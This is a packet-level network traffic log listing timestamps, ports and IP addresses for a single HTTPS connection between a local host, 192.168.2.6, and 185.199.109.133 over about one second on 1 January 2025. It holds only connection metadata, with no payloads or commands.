Jan 1, 2025 16:54:54.593193054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.593225002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.593425989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.593442917 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.593488932 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.593496084 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.593530893 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597207069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597222090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597278118 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597287893 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597306013 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597326994 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597716093 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597734928 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597795010 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597803116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597842932 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.597965956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.597986937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.598056078 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.598064899 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.598114014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.599975109 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.659096956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.659117937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.659178972 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.659193993 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.659225941 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.659245968 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.683757067 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.683774948 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.683829069 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.683850050 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.683866978 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.683888912 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.683913946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.683928967 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684007883 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684017897 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684053898 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684176922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684192896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684240103 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684251070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684284925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684570074 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684585094 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684634924 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684640884 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.684664011 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.684683084 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.688152075 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.688446045 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.688462973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.688530922 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.688539982 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.688581944 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.688955069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.688971043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.689007998 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.689027071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.689039946 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.689069033 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.689234018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.689249039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.689294100 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.689301968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.689315081 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.692703009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.735699892 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.750081062 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.750113010 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.750153065 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.750165939 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.750197887 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.750212908 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.774678946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.774697065 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.774769068 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.774787903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.774818897 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.774841070 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.774893999 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.774914980 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.774969101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.774976969 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775047064 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775232077 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775253057 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775279045 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775285959 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775309086 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775327921 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775428057 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775444984 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775485039 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775494099 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.775513887 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.775530100 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.779422045 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.779438972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.779510975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.779522896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.779565096 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.786171913 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786202908 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786261082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.786261082 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786277056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786295891 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786313057 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.786348104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.786353111 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.786389112 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.798623085 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.841228008 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.841248989 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.841295958 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.841308117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.841347933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.865772963 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.865792036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.865839005 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.865849972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.865884066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.865894079 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866126060 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866143942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866194010 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866202116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866244078 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866416931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866434097 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866468906 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866478920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866520882 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866520882 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866691113 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866708040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866755009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.866764069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.866797924 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.870512962 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.870527983 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.870605946 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.870620966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.870698929 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.871210098 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.871227980 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.871254921 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.871303082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.871306896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.871342897 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.872564077 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.872580051 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.872612953 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.872621059 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.872657061 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.872670889 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.932678938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.932704926 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.932735920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.932749987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.932775974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.932794094 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.956705093 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.956722975 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.956780910 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.956792116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.956854105 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957057953 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957073927 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957133055 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957139969 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957181931 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957319021 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957345009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957381010 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957387924 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957422972 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957433939 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957554102 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957570076 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957617044 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.957628012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.957668066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.961570024 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.961596966 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.961632967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.961641073 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.961667061 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.961683035 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.962169886 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.962186098 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.962229013 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.962239027 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.962250948 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.962271929 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.963639975 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.963660002 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.963727951 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.983936071 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:54.983944893 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:54.983993053 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.023627043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.023643970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.023706913 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.023719072 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.023775101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.023775101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.047796011 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.047813892 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.047878981 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.047888994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.047939062 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.047987938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048003912 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048079014 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.048084974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048129082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.048265934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048285961 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048336983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.048345089 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048383951 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.048485994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048501968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048552036 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.048558950 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.048600912 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.052537918 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.052552938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.052613974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.052633047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.052674055 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.053227901 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.053245068 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.053303003 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.053309917 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.053348064 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.054719925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.054739952 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.054817915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.054826021 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.054869890 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.128611088 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.128640890 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.128680944 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.128693104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.128732920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.128746033 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.138771057 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.138786077 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.138855934 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.138864994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.138907909 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.139041901 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139056921 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139106035 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.139113903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139152050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.139580965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139595985 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139684916 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.139693022 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139734983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.139930964 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139946938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.139997005 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.140003920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.140022993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.140045881 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.143450975 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.143466949 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.143516064 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.143527985 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.143557072 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.143573046 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.144143105 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.144159079 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.144222021 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.144237995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.144278049 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.145561934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.145579100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.145697117 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.355334044 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.402378082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.441973925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.441996098 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.442048073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.459955931 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.459978104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.459990978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460020065 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460056067 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.460066080 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460091114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460122108 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.460128069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460144043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460189104 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.460196972 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460215092 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460272074 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.460279942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460294008 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.460375071 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.460421085 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.536293030 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.536322117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.536396027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.536895037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.536899090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.536920071 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.536942959 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.536957026 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.536981106 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.537081957 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.537184000 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.537271023 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.563616037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.563632011 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.563689947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.564534903 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.583790064 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.583820105 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.583867073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.583883047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.583905935 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.583925009 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.590780973 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.590909958 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.593961954 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.593980074 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594044924 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594054937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594166040 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594187021 CET	443	49997	185.199.109.133	192.168.2.6
